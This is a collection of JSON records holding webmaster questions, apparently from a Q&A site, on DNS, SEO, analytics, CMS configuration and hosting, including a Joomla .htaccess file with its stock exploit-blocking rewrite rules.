{"id":"43719","title":"Is it possible to use cloudflare without having them managing my DNS?","text":"I need to use cloudflare without having them managing my DNS, My DNS server have much more options that I do need. Instead of setting cloudflare as my dns server, I have added it as a NS record from the `www` subdomain only. And at my DNS server I have added a forward from `domain.com` to `www.domain.com`. It appears to be working fine, however, my cloudflare is giving me: \"websites\" --> > \"Finishing up. Waiting for your name servers to change to ***** Please allow > up to 24 hours to complete this process (info)\" \"dashboards\" --> > \"Analytics data could not be loaded. > > You do not have any initialized zones\" Is there anything I need to worry about here ?"}
{"id":"49496","title":"Google Webmaster Tools change domain from third level","text":"I had a blog running on Tumblr on `foobar.tumblr.com` and at some point I thought I'd just get `foobar.com` and set that up as a custom domain. Yet, as far as I can tell, there is no way I can communicate Google a change of domain from third to second level, other than setting up 301 everywhere (e.g. there is no reference here, and the change domain option in Webmaster Tools is disabled). While the redirects are not an issue (Tumblr does that automatically) it seems strange that such a common operation can't be helped, and at the moment I see both domains in search results, which appears mighty strange. Is there something else I could do other than wait for the old domain to disappear?"}
{"id":"17056","title":"Is it okey to start link building before my site get indexed?","text":"Self explanatory question. If you have a fresh new site which is not yet indexed by google. Is it okey to start with link building or i should wait to google index my site?"}
{"id":"5109","title":"How do I remove a picture from my wordpress site","text":"I need to remove the gavel picture on this page but I still want it to be the featured images http:\/\/myradiocentral.com\/2010\/11\/05\/the-great-radio-auction\/"}
{"id":"47395","title":"What is the way to properly implement a Facebook Like button on a page for best SEO purposes?","text":"On our site we want to put a Facebook Like button\/widget-thingy. It is possible to create a like button, where the URL associated with the button is the page it sits on, rather than a Facebook page. I would imagine that pointing a Like button to a FB page allows for the tracking of conversations, which in the end does help SEO. In order to maximize our SEO efforts, which of the following is the best- practices method: Add a Like button to a page; button points to the Facebook page. That Facebook page then points to the original page where the Like button is on OR Add a Like button to a page; button points to the page the Like button is on, without creating a Facebook page (self-referencing)"}
{"id":"52621","title":"Alternative titles or aliases for SEO","text":"I am creating content pages with titles of pages for a non-English language where several words are read similarly. * _Satya Harish Chandra_ * _Sathya Hareesh Chandhra_ This is the name of a movie which can be written in more 6 possible ways given each word can be written in 2 ways. Some times, more than 3-4 ways is possible with multiple _ee_ and _d_ instead of _th_ etc. A user can search for any of the combinations. I wanted to know if we can feed in similar data to Google and avoid duplicate content by having search engines learn that its the same content or data. Is there a way to link or point the content as an alias page or define dictionary words for aliases so that search engines make sense out of it?"}
{"id":"3285","title":"Top and bottom gradient using CSS","text":"I have a background that has a top and bottom gradient and I want it to show on a container layer. The problem is the bottom gradient since it has to appear at the very end of the container div. Any ideas? Here's some example code & imgur photo: <style> .container{background: #fff url(images\/bg.png) repeat-x;} <\/style> <div class=\"container\"> <div id=\"content\"> <p>Dynamic stuff goes in here that differs on every page<\/p> <\/div> <\/div> http:\/\/imgur.com\/XAaIx The above code only shows the gradient at the top, but is there another way to achieve this effect?"}
{"id":"3284","title":"Why does the website heading on pubvantage.com display arbitrary text when it is listed in google search results?","text":"the website www.pubvantage.com has a permanent redirect to http:\/\/exchange.contextweb.com\/sellingdesk\/pubvantage\/. The problem is, when a user enters the query +\"pubvantage\" in google, the site (www.pubvantage.com) displays with the header text of \"Ken Lauer.\" Ken has nothing to do with the website, and his name appears nowhere in the source code. How can I change this?"}
{"id":"42720","title":"Is there any SEO risk of using Javascript instead of real links?","text":"Essentially I have a client who wants to change some links from something like: <a href=\"http:\/\/www.google.com\/\" rel=\"nofollow\">Click me<\/a> to something like: <span style=\"color:blue;cursor:pointer;\" id=\"faux-link\">Click me<\/span> <script type=\"text\/javascript\"> $(\"#faux-link\").click(function() { document.location = \"http:\/\/www.google.com\/\"; }); <\/script> Essentially this would make the \"Click me\" text in the same way minus a few advanced link features (Mouse3 opens link in new tab, right clicking to see \"Open in New Window\" and other options, etc) also it would obvously not work for anything with Javascript disabled (or if Javascript on the page had any fatal errors) Are there any SEO downsides to this that anyone has experienced or any kind of comments from Google or others on this type of behavior?"}
{"id":"17058","title":"Multilingual and SEO URLs - best practice?","text":"What would you recommend as a URL structure for setting up a multilingual site when optimizing for SEO? I'm thinking: www.yoursite.com\/en\/some-category\/some-article\/ www.yoursite.com\/sv\/en-kategori\/en-artikel\/ (Swedish) Or would you prefer creating a subdomain (i.e. `sv.yoursite.com`) or similar instead? From what I know it seems easier integrating a `\/language\/` directory when in combination with .htaccess."}
{"id":"14325","title":"Do heavy graphics and\/or a high load time affect a site's search rankings?","text":"Does the use of heavy graphics\/images (with `img` tag or in the CSS) effect a site's Google ranking? Sometimes sites are heavy because of the images used or Flash or lots of JavaScript - making the loading times higher. Does the loading time also effect a site's Google ranking? I've mentioned Google, but the question applies to all search engines."}
{"id":"13215","title":"Buying a web domain","text":"I am planning to redirect my blog at blogger to my own domain. But I am confused by various options available outside. I see options like domain registration, bundled site hosting, design templates and more in Yahoo. GoDaddy offers just domain name at a price. There is one local provider who provides 10 free email accounts along with domain registration. Now I am just wondering which option to choose? Can I buy one domain and use it as custom domain in Blogger?"}
{"id":"61184","title":"Does Googlebot support TLS v1.2? If not, what will my TLS v1.2-only site look like to it?","text":"I currently redirect all non-HTTPS connections to HTTPS, and support TLS v1, TLS v1.1, and TLS v1.2. I reconfigured my testing server to accept only a very limited and secure cipher suite and TLSv1.2 only. Upon running the SSL Labs test I noticed that their compatibility chart showed Bing's and Google's crawlers as not supporting beyond TLSv1. Is this still accurate? I have not been able to find mention of the bots' protocol support anywhere except on the SSL Labs results page. **Does Googlebot really only support TLS v1? If I support only TLS v1.2 and Googlebot is unable to connect to my site, what status will Google consider it to be in?**"}
{"id":"13219","title":"How does this site count clicks?","text":"I found this site, http:\/\/psncardgenerator.com\/ It has a unique ID generator, and click counter. I understand how the ID was made, but don't understand how the counter was made. Does anyone know? (I'm not promoting the site, since you can see I'm not even using an ID, I'm just interested to how they count the clicks.)"}
{"id":"53862","title":"Is info@mydomain a bad choice for the sender and reciever of bulk email newsletters","text":"Is it bad to use `info@mydomain.com` as the sender and receiver for bulk email newsletters? Would it be better to use, for example `newsletter@mydomain.com`. I realise there are many factors that effect the spam score but ceteris paribus would this have an effect? Would some spam filters give info@ a negative rating or should I not be to concerned about this?"}
{"id":"32781","title":"Alternatives to Google Sites for a personal web site?","text":"I'd like to find a hosting solution for my personal, fairly low-traffic, web site. I think Google Sites would suit me perfectly, but I've heard horror stories about Google's algorithms shutting down all your accounts on a whim, with no right of appeal, so I'm naturally worried, because I don't want to lose my Gmail. **Edit** _I'm talking about cases likethis one:_ > I tried contacting somebody at Google support (\"Surely they should have a > support department, right?\" Nope, wrong!) _(The victim managed to regain access to his Gmail account when his case went \"viral\", but he never got an explanation as to why he had been locked out in the first place)_ Are there good, preferably free, alternatives to Google Sites and what are their PROs and CONs? One requirement is that I should be able to point the DNS ( _foobar.com_ ) to it."}
{"id":"10499","title":"How to setup VPS(Virtual hosting server) in Godaddy","text":"I recently purchase a VPS from GoDaddy. Now i need to Setup the virtual server to go ahead and install my website. Please guide how to go about. Thanks in advance"}
{"id":"36394","title":"How do I make sure my website does not get blocked at my office for \"potential harmful content? Do I need to adjust settings?","text":"I created a new website that it is blocked from my office admnis for \"potential harmful content\". Is there a setting that I need to change? Do I need some sort of certificate or plugin installed? Thanks."}
{"id":"10494","title":"Pay for Graphic Designer vs Programmer","text":"In a corporate web-design setup, who typically makes more per hour, the graphic designer or the programmer? By graphic designer, I mean somebody who builds mockups probably in photoshop, selects font-styles, colors, etc. Most things layout-wise are near pixel- perfect, but likely after the initial implementation by the programmer, there will be a lot of small changes directed by the graphic designer. By programmer, I mean somebody who is coding the CSS, the HTML, and light backend support, probably in PHP. The programmer will attempt to duplicate the mockups given the limitations of the medium, and consult with the graphic designer afterwards on what changes are tangible and which are not. Both probably have an undergraduate degree from a respected four-year institution."}
{"id":"10493","title":"What's better for SEO for many international markets?","text":"Right now, we're working to migrate our company sites for international markets to this scheme www.company.com\/[2 letter country codes] www.company.com\/uk #for United Kingdom www.company.com\/au #for Australia www.company.com\/jp #for Japan www.comapny.com\/ #for united states, and non identifiable. However, in google webmaster tools, we can geo-target each directory, but not the root. If we geo-target the root with US, all the other markets will inherit. Is it better to move the US market to \/us\/ or leave it where it is?"}
{"id":"36423","title":"Multiple URL's going to same page - Kosher for Google?","text":"I hear conflicting answers from people about this, and I'm a developer by trade, and my SEO knowledge is not what it should be. Here's my situation: I run a website that lists hotels, restaurants, bars, shops, etc for a small Asian beach town. Lots of establishments here are hotels with a restaurant and bar, as well as restaurants that are also bars. As en example, a Mexican restaurant that also functions as a full cocktail bar. I first set it up so each establishment has one page, but can create multiple pages based on their other areas of business. This forces people to create TWO listings under the same name, and most just add the exact same information onto each page, making things redundant. I am re-arranging the database so that a establishment has only ONE listing (one unique page referenced by the unique code '12345ABCDEF') that is accessible from browsing under \"Restaurants\" and \"Bars\", and has the URL structures: site.com\/dining\/mexican\/12345ABCDEF\/business-name.html site.com\/bars\/cocktail_bars\/12345ABCDEF\/business-name.html I could easily simplify the URL to just the unique code and name: site.com\/12345ABCDEF\/business-name.html But, I found that Google has parsed by URL structure and lists like this on their SERP: Home > Dining > Mexican With each pointing to the default page for homepage, restaurants and Mexican restaurants. If I simplify the URL structure, will I lose these associations? Could Google also be picking up this structure from my breadcrumb trail at the top of the page? What is the best way to set up URL's on these pages so I am not penalized by Google for having identical information on two URL's, while still being able to have places show up as they did with the old system?"}
{"id":"18373","title":"just another mod_rewrite question","text":"from the url xxx.yyy.site.com just need to redirect to xxx.site.com Thanks for the help, sorry I have no regex\/rewrite foo."}
{"id":"883","title":"Does \"putting Javascript at the bottom\" defeat the purpose of document.ready?","text":"I know that it is recommended to put Javascript at the bottom of the page, but if I'm using jQuery doesn't this defeat its purpose to run as the DOM is loading? If I have a dropdown menu, for example, the dropdowns won't show until all the rest of the page has loaded. I also try to develop with progressive enhancement in mind, so I might have elements that are hidden with jQuery instead of CSS (so non-JS users can see them). Is there a happy medium, perhaps?"}
{"id":"14799","title":"Clear GET or POST data from CGI script?","text":"I'm making a toy LAN messaging system that involves Ruby CGI scripts and data files stored on the server, and I want to prevent the same data from being sent to the server multiple times. Is there any way that you know of to request that the client of your web server forget the GET or POST data that it sent in its request?"}
{"id":"880","title":"Blogger and Google App hosting at naked domain using 1&1","text":"My web hosting is through 1&1.com. I'm trying to set up both blogger and Google Apps mail at the naked domain. I was able to get blogger set up on the `www.` version of the site by simply creating a CNAME record which points to `ghs.google.com`. The naked domain is also pointing to `ghs.google.com`, creating a symmetric configuration. Blogger has the domain defined with `www.`, and the checkbox which chooses if to redirect naked domain to `www.` is checked. Now when I try to set up the MX records for Google apps at 1&1, it doesn't let me. When you go in to the DNS settings, you can choose between DNS or CNAME. When you choose DNS, it allows you to set a single A record, and the MX records. However, if you choose to use a CNAME (like I did), it will not allow you to set any MX records. I'll try my best to describe the options available on 1&1 using a tree: * General settings = * {CNAME} * Alias = [server] * {DNS} * Name server = * {My name server} * Primary Name Server = [server] * Secondary Name Server = * {My Secondary Name Server} * 1st secondary name server = [server] * 2nd secondary name server = [server] * 3rd secondary name server = [server] * {1&1 Name Server} * {1&1 name server} * IP address (A record) = * {1&1 IP Address} * {Other IP address} * [ip-address] * Mail server (MX record) = * {1&1 mail server} * {Other mail server} * MX 1 \/ Prio = [mx-record] * MX 2 \/ Prio = [mx-record] * Further backups = * {My Mail Exchanger} * MX 3 \/ Prio = [mx-record] * MX 4 \/ Prio = [mx-record] * {Backup mail exchanger} For example, in `General settings` you can choose either `CNAME` or `DNS`. If you choose `CNAME` you will see the `Alias` field. The `Alias` field takes a `[server]` value (e.g. `example.com`). Another example, if you choose `Name server` = `1&1 name server`, you will see all the options listed underneath it (`IP address (A record)` and `Mail server (MX record)`), but not the options underneath `My name server`. Legend: * `[server]`: requires a server [is it more accurate to call this domain?] (e.g. `example.com`). * `[ip-address]`: requires a set of 4 numbers (i.e. a valid ip). So, a domain such as `example.com` will not work. * `[mx-record]`: takes in a `[server]` and an integer priority. You will notice that when `General settings` = `CNAME`, it doesn't have any MX record fields available. Is this a shortcoming of 1&1, or can you never have a CNAME record with MX records defined? Is there any way to do what I'm trying to do? Requirements: * Blogger blog hosted at `www.` or naked domain (I have no preference). * The other domain will redirect to the other one (e.g. `www.` will redirect to naked domain, or vice versa). * Mail uses Google Apps at naked domain (e.g. `user@example.com`). * It should be reliable and SEO friendly. I know I can set up a single A record to point to one of Google's IP addresses (instead of `ghs.google.com`), but then I don't get the 4 server redundancy, meaning if a single server goes down, my site also goes down."}
{"id":"887","title":"What should I use to automatically combine css\/js files?","text":"I'm aware of sprockets for combining javascript files, but haven't tried it. What are some other options and how do they stack up?"}
{"id":"18370","title":"\"Cannot modify header information\" error in my PHP\/WordPress site","text":"I edited the `header.php` and `functions.php` files in my WordPress site to add Google Analytics tracking code. Now, when I try to login to my admin area, the following warning appears and I am unable to login to my WordPress account: > Warning: > > Cannot modify header information - headers already sent by (output started > at \/home\/wwwwww\/public_html\/wp-content\/themes\/poker- > complex\/functions.php:11) in \/home\/wwwwww\/public_html\/wp- > includes\/pluggable.php on line 934 How to solve this problem?"}
{"id":"14977","title":"what's better for SEO : a 301 moved page vs an alias?","text":"I recently optimized my site changing the keywords but also the path to those pages (I'm using human readable urls) So google will not find those pages anymore... what's the best aproach in this case: making an alias keeping the old urls as well showing the new content or redirecting with 301?"}
{"id":"14796","title":"Cookie data transfer","text":"The context is a third-party analytics service, specifically Quantcast, but the inquiries are more general in nature. Please forgive and correct me if any of my assumptions are off, and thank you in advance for your help. 1. I understand that cookies are based on a 'give and get' system where the first request sets the cookie on the user machine and the second request from the user sends the cookie-related data back to the machine. What might the implications be then for single page view sessions? For instance, can the server confirm receipt without a second request and would it be able to know if the machine was unique (e.g. relay information about presence of a previously-issued cookie)? 2. Scenario: Assuming pages A,B, and C are all on the same domain, a cookie is set when a user visits page A. The user follows a link to page B but while the page is loading and before the get request is sent to the server, the user clicks on a link to page C. He allows page C to load completely and the get request is received. In that request\/response for page C, does the server also receive information that the user had visited page B? Thanks, Abel"}
{"id":"14973","title":"Does changing CNAME for amazon cloudfront slows the download in anyway?","text":"I'm planning to use Amazon S3 with Cloudfront as CDN network. But I'm guessing that changing the url from `345345df4.cloudfront.com` to `sub.domain.com` will slow the process of download Is this correct?"}
{"id":"34865","title":"E-commerce for custom orders\/customer image upload","text":"We have a client that needs an e-commerce site set up pretty quickly. As I have no experience with e-commerce, I am looking for some guidance. Basically, the two big features we need are: 1. Ability for customer to add info about order (example: the name the customer wants to be put on the customizable product they ordered) 2. Ability for customer to upload photo of product to be customized I hope this makes sense. Right now I am really looking into Shopify, but I can't tell if it does everything we need. I know you can add order notes when checking out, but not sure about image upload (maybe it can be added as an app through the API?)."}
{"id":"20014","title":"Need an embeddable live polling tool","text":"We need a live polling tool that can be embedded on a Web page. The key factor is that the polls can be published on demand by a moderator (i.e. the moderator clicks \"Publish\" or \"Go\" and the poll is delivered to the end user on the Web page). Once people answer the poll, the results should be shown in the same window. Then, the moderator can keep publishing more polls in the window. This should be embeddable within an existing webpage. We started using http:\/\/www.coveritlive.com\/ but it has restrictions which make it unusable for us (eg: it allows only 6 options per poll question)"}
{"id":"20016","title":"Allow all robots robots.txt","text":"In my _robots.txt_ file I have a list of robots that are not allowed to be indexed on my site and for the rest I have to allow all other robots, but I would like to know the real difference between these two rules: User-agent: * Disallow: and this: User-agent: * Allow: \/"}
{"id":"38735","title":"How to move TOC at the top of article like Wikitravel in MediaWiki?","text":"How to move TOC at the top of article like Wikitravel in MediaWiki, applying for all pages? Which extensions or settings need for this action?"}
{"id":"38736","title":"How come a keyword with 46 local monthly searches get 150 local monthly impressions?","text":"I am doing a keyword analysis by correlating data between Google ANalytics and Google Adwords Keyword tool. So here is the confusion I check the local monthly searches (Sweden) for \"SEO Packages\" using the adwords keyword tool and it shows: 46 monthly searches Now I come back to GA and check the impressions for \"SEO Packages\" that we got from Sweden and the value is: 150 impressions. So basically: Local monthly searches in Sweden: 46 Monthly impression we got from Sweden: 150 How come we get 150 impressions out of only 150 searches?"}
{"id":"63536","title":"Using Google Analytics to determine how much time a visitor spends in each section of my site","text":"I have a site with various pages, like: \/about\/history \/about\/team \/contact\/email-us \/contact I want to figure out how much time people are spending on the entire `\/about` section, and how much on the `\/contact` section. If I run a query on the Google Analytics API and set the dimension to `ga:pagePathLevel1` and the metric to `ga:avgTimeOnPage`, I get results like this: { pagePathLevel1: \/about, avgTimeOnPage: 28 }, { pagePathLevel1: \/contact, avgTimeOnPage: 10 } This looks roughly like what I want, but I'm not sure how to intepret it: * Is the value of `avgTimeOnPage` the average time spent by any user on **all** pages that match that path? * Or is it the average time spent by any user on `any` single page that matches that path? I'm looking for the average time spent across **all** pages matching that path, but the time estimates look shorter than I'd expect."}
{"id":"44634","title":"Returning 404 for expired jobs in my jobs site","text":"In my new Job search site how should I handle jobs which are expired? Ideally those should return 410 response when deleted. But I'd like to delete them(404 response) since that'd be easy to do for my Drupal site. Will it cause any problems? I'm placing some links to similar discussions: link1 link2 link3 link4"}
{"id":"39116","title":"In Joomla In htaccess REQUEST_URI is always returning index.php instead of SEF URL","text":"I have installed joomsef version 3.9.9 with the Joomla 1.5.25. Now I want to set https for some of the section of my site(e.g URI starts with \/events\/) while wanting rest of all urls on http.I am setting rules in .htaccess file but not getting output as expected. I am checking REQUEST_URI of the SEF urls but always getting index.php as URI. Here is my htaccess code. ########## Begin - Custom redirects # # If you need to redirect some pages, or set a canonical non-www to # www redirect (or vice versa), place that code here. Ensure those # redirects use the correct RewriteRule syntax and the [R=301,L] flags. # ########## End - Custom redirects # Uncomment following line if your webserver's URL # is not directly related to physical file paths. # Update Your Joomla! Directory (just \/ for root) # RewriteBase \/ ########## Begin - Joomla! core SEF Section # RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # # If the requested path and file is not \/index.php and the request # has not already been internally rewritten to the index.php script RewriteCond %{REQUEST_URI} !^\/index\\.php # and the request is for root, or for an extensionless URL, or the # requested URL ends with one of the listed extensions RewriteCond %{REQUEST_URI} (\/[^.]*|\\.(php|html?|feed|pdf|raw))$ [NC] # and the requested path and file doesn't directly match a physical file RewriteCond %{REQUEST_FILENAME} !-f # and the requested path and file doesn't directly match a physical folder RewriteCond %{REQUEST_FILENAME} !-d # internally rewrite the request to the index.php script RewriteRule .* index.php [L] # ########## End - Joomla! core SEF Section # Here is my code e.g site url is http:\/\/mydomain.com\/events RewriteCond %{REQUEST_URI} ^\/(events)$ RewriteCond %{HTTPS} !ON RewriteRule (.*) https:\/\/%{REQUEST_HOST}%{REQUEST_URI}\/$1 [L,R=301] I am not getting why REQUEST_URI is reffering index.php even though my url in address bar is like this http:\/\/mydomain.com\/events . I am using JOOMSEF(Joomla extension for SEF URLS).If I am removing other rules from the htaccess file then joomla stops working. I am not getting a way to handle this as I am not expert.Please let me know if someone has passed through same situation and have solution or suggest some work around. * * * **EDIT:** Above problem is not solved completely. I have put the code at the correct place and then tried some of the rewrite rules. But it's not working properly. I doubt URL is rewritten more than one time. Actually I am setting HTTPS for all the URLs under \"events\" section and rest of all on http. Here is my code. ## # @version $Id: htaccess.txt 21064 2011-04-03 22:12:19Z dextercowley $ # @package Joomla # @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. # @license http:\/\/www.gnu.org\/copyleft\/gpl.html GNU\/GPL # Joomla! is Free Software ## ##################################################### # READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE # # The line just below this section: 'Options +FollowSymLinks' may cause problems # with some server configurations. It is required for use of mod_rewrite, but may already # be set by your server administrator in a way that dissallows changing it in # your .htaccess file. If using it causes your server to error out, comment it out (add # to # beginning of line), reload your site in your browser and test your sef url's. If they work, # it has been set by your server administrator and you do not need it set here. # ##################################################### ## Can be commented out if causes errors, see notes above. Options +FollowSymLinks # # mod_rewrite in use RewriteEngine On ########## Begin - Rewrite rules to block out some common exploits ## If you experience problems on your site block out the operations listed below ## This attempts to block the most common type of exploit `attempts` to Joomla! # ## Deny access to extension xml files (uncomment out to activate) #<Files ~ \"\\.xml$\"> #Order allow,deny #Deny from all #Satisfy all #<\/Files> ## End of deny access to extension xml files # Block out any script trying to set a mosConfig value through the URL RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\\%3D) [OR] # Block out any script trying to base64_encode data within the URL RewriteCond %{QUERY_STRING} base64_encode[^(]*\\([^)]*\\) [OR] # Block out any script that includes a <script> tag in URL RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR] # Block out any script trying to set a PHP GLOBALS variable via URL RewriteCond %{QUERY_STRING} GLOBALS(=|\\[|\\%[0-9A-Z]{0,2}) [OR] # Block out any script trying to modify a _REQUEST variable via URL RewriteCond %{QUERY_STRING} _REQUEST(=|\\[|\\%[0-9A-Z]{0,2}) # Return 403 Forbidden header and show the content of the root homepage RewriteRule .* index.php [F] # ########## End - Rewrite rules to block out some common exploits ########## Begin - Custom redirects # # If you need to redirect some pages, or set a canonical non-www to # www redirect (or vice versa), place that code here. Ensure those # redirects use the correct RewriteRule syntax and the [R=301,L] flags. # ########## End - Custom redirects # Uncomment following line if your webserver's URL # is not directly related to physical file paths. # Update Your Joomla! Directory (just \/ for root) # RewriteBase \/ # Section I coded RewriteCond %{HTTPS} on RewriteCond %{REQUEST_URI} !^\/(events) RewriteRule (.*)$ http:\/\/www.mydomainname.com\/$1 [R=301,L] RewriteCond %{HTTPS} off RewriteCond %{REQUEST_URI} ^\/(events) RewriteRule (.*)$ https:\/\/www.mydomainname.com\/$1 [L] ########## Begin - Joomla! core SEF Section # RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # # If the requested path and file is not \/index.php and the request # has not already been internally rewritten to the index.php script RewriteCond %{REQUEST_URI} !^\/index\\.php # and the request is for root, or for an extensionless URL, or the # requested URL ends with one of the listed extensions RewriteCond %{REQUEST_URI} (\/[^.]*|\\.(php|html?|feed|pdf|raw))$ [NC] # and the requested path and file doesn't directly match a physical file RewriteCond %{REQUEST_FILENAME} !-f # and the requested path and file doesn't directly match a physical folder RewriteCond %{REQUEST_FILENAME} !-d # internally rewrite the request to the index.php script RewriteRule .* index.php [L] # ########## End - Joomla! core SEF Section When I set following condition above those rules then its working as expected. RewriteCond %{REQUEST_URI} !^\/index\\.php So I doubt that URL is re written twice or more than that. First time with SEF URI \"\/events\" and second time for \"index.php\". I have used [L] directive as well but it doesn't seem to work. Am I missing something to set or it could be problem with rules.Please suggest."}
{"id":"15778","title":"\"Pay with a link\" - ethical for SEO?","text":"There are a number of \"Pay with tweet\" type services where you get access to a download (pdf\/ebook etc) if you tweet or Facebook like. Are there any services that do similar for 'normal' links (Blogs etc)? If you had an online service that you were planning to give away free if people linked to you for then would this be ( from an SEO perspective) :- * ethical? * effective?"}
{"id":"68269","title":"pages still show up in google search even after disallowed in robots.txt","text":"Why is it that some pages still show up in google search even though disallowed in robots.txt? Is the best solution here to remove the Disallow from Robots.txt and just add noindex, nofollow meta tag to those pages you want blocked? Or should I submit a request to Google directly to remove those pages?"}
{"id":"6864","title":"C# Open source album application","text":"For privacy reasons, I'm searching for an open source album application I can host on my server, Is there such a project? In C#? I'd like to upload pictures, tag them, have privileges settings etc. 10x"}
{"id":"48726","title":"URL requests with [object] in place of parameter values","text":"We're seeing requests to our server with the literal `[object]` replacing the values where parameters should be. For example: `http:\/\/example.com\/users\/[object]`. I've found some suggestions that it might be something to do with IE9 but we can't quite nail it down. See this. Has anyone else seen this behaviour? Have you managed to nail down what the problem is?"}
{"id":"15770","title":"Service to give access to download after Tweet \/ FB Like etc","text":"I remember stumbling across a free service that you could integrate with your website that would give visitors access to a download (PDF\/ebook\/white paper etc) if you Tweeted\/ Facebook Liked etc. but for the life of me I can't find it now. Does anyone have any recommendations?"}
{"id":"6862","title":"Browser plugin for measuring PDF","text":"Is there a browser plugin that can allow a user to measure objects on a PDF in the browser window? It needs to be cross-browser."}
{"id":"1919","title":"How long does propagation of newly registered private name servers typically take?","text":"I have an account with Hostgator, and have registered private name servers (ns1.mydomain.com and ns2.mydomain.com). How long should I expect to wait for those changes to take place? Should my website be unavailable during that time?"}
{"id":"29473","title":"How to determine if Google's Crawl Rate for your site is eating up too much Bandwidth?","text":"I was reading about changing Google's crawl rate and how there is a balance in which if the crawl rate is too fast, it will slow your site down; but if the crawl rate is too slow, then page descriptions in search results might not get updated fast enough. This is clearly a balancing act; while I understand that one can determine that the site is not being crawled fast enough by looking at the cached page version of a search result, I don't understand how to measure that a site is being too heavily crawled and slowed down. I have a few different types of CMS and hosting, and I was wondering if there was a generalized way to figure this out on all of them...maybe using server logs or web page performance test of some sort."}
{"id":"29475","title":"What is the difference between doing a \"link:http:\/\/www.example.com\" google search and the \"links to your site\" in Webmaster Tools?","text":"I've tried to do two kinds of searches which I had previously thought were a source of the same data, but are apparently different. The first is doing a google search that looks like `link:http:\/\/mydomain.com` which I assumed returned all of the links indexed by Google Crawler which linked to my page:  The second is within Webmaster Tools in the `Links to Your Site` functionality:  The reason I'm confused by this is that it appears that there don't seem to be as many in-bound links appearing in the `link:` google search as there are appearing in the `Links on Your Site` functionality in Webmaster Tools, so it seems to me that these two functions are not referring to the same data as I previously assumed. If this is not the case, then what are each of these referring to?"}
{"id":"67297","title":"Google analytics stopped showing trackbacks after tracking code change","text":"We have a pretty heavily linked-to website. GA showed some trackback in Acquisition > Social > Trackbacks every day until a few days ago, then all the sudden nothing. There's data in other report pages under Social, such as Network Referrals. We made below changes right before it stopped working: * Going from `ga.js` to `analytics.js` for universal tracking * Enabled Enable Demographics and Interest Reports * Enabled Enhanced link attribution * Place same tracking code on all pages, including a subdomain Any ideas how to get this data back? Current tracking code: <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-43531210-2', 'auto'); ga('require', 'displayfeatures'); \/\/ Enable Demographics and Interest Reports ga('require', 'linkid', 'linkid.js'); \/\/ enhanced link attribution ga('send', 'pageview'); <\/script> "}
{"id":"60049","title":"How do I see the exact position of my website in google SERP?","text":"Whenever I search with keyword in my computer, it shows my website in first page and in reality(other computers) it is not showing what I see in my computer, I understand that this is because of I visited the website so many times, but I want to see only the reality position, what should I do to see the reality ? and Is there any option for webmasters to avoid this ?"}
{"id":"58552","title":"Submit example.com\/#!\/page URLs to Google","text":"On a HTML5 website, there is a single page, index.php . Its code contains other 5 pages. An AJAX navigation is used, so the URL of other page looks like `example.com\/#!\/page_Example`. I had tried to submit to Google many addresses of this kind using a XML sitemap, but Google indexes only the main page. Also, I've made some 301 redirects from `example.com\/Example` to `example.com\/#!\/page_Example`, and submitted them, but the main page is still the only one indexed. How could I sumbit those URLs to Google?"}
{"id":"25883","title":"Can i use \"Adsense search\" in a facebook app?","text":"I have a Facebook app and I would like to monetize it with Adsense search, which means that people could use a \"Google Adsense search box\" within Facebook page. Is it allowed?"}
{"id":"8255","title":"Client wants a re-order form for their business. Best approach?","text":"A client wants a customer re-order form for their Web site, but it's getting pretty lengthy. Here is what the page looks like: http:\/\/fjt.dnsalias.net\/interoofficesolutions\/index.php?option=com_chronocontact&chronoformname=SmileStarters There has to be an easier way to do this. Any suggestions? Lallo"}
{"id":"8252","title":"How can I prevent invalid clicks on my AdWords campaigns?","text":"I was wondering if there is anyway you can block or exclude people from submitting multiple fake ip's online . For example I have a google pay-per- click campaign set up on adwords. I downloaded a program in minutes which enabled me to hide or give out a fake ip address which also allows you to use a different ip each time. I tried this out on my own link on google which in turn got through adwords and I was charged for the click. My question is how would you be able to counter or block someone who continuosly clicks on your link with a different fake ip each time?"}
{"id":"666","title":"Do you think that Goat theme is good for a qa site?","text":"I'm going to open a question-answer web site however I was unable to find a good domain name. And it is non-English, by the way. So, I thought to have a theme; goats, kinda goatasks. And there will be goat logo with \"waving\" tail, and after you ask a question you will hear goat sound. Do you think that it is a good idea?"}
{"id":"9585","title":"SEO Expert Question","text":"I have worked with a website in the past `freedomist.com` This site gathers wordpress articles from multiple news source sites, and then republishes them. The company that runs this site has about 50 other sites that do the same thing. They post links to sites such as twitter and secondary wordpress sites. Is this a moral way of increasing page ranking? Is this against the terms of service with lets say Google?"}
{"id":"661","title":"What is the simplest API to create maps like in Google Analytics?","text":"I want to create maps that show the number of clicks per country, just like in Google Analytics. I've looked at Google and Bing map API. These looks way to complicate for what I want to do. Do you know of any simpler API?"}
{"id":"15518","title":"2 hosted domains = 2 websites?","text":"I have a website hosted by a company and would like to add another, separate, website to the same account. The company offers `2 hosted domains`, so does that mean this will be possible? I'm not sure what's meant by `2 hosted domains`. Does that mean I can have two websites or just two different domain names pointing at the one website? Thanks for any help."}
{"id":"8788","title":"Browser privacy improvement implications for websites","text":"On https:\/\/panopticlick.eff.org\/ EFF let you test the number of uniquely identifying bits that the browser gives a website. Among these are HTTP header fields such as User-Agent, Accept, Accept-Language and later perhaps ETAG and If-Modified-Since. Also there is a lot of Information that javascript can get from the browser such as time-zone, screen resolution, complete list of fonts and plugins available. My first impression is, is all this information really used\/required on a majority of all websites? For example, how many sites does really send different content-types depending on the http accept header, or what fonts are available(I thought css had taken care of this)? Let's say of these headers\/js functionality on day would be gone. Which ones would; * never be noticed they were gone? * impact user experience? * impact server performance? * immediately reimplemented because the Internet cannot work without it? Extra credit for differentiating between what can be done, what should be done and what is done in most situations."}
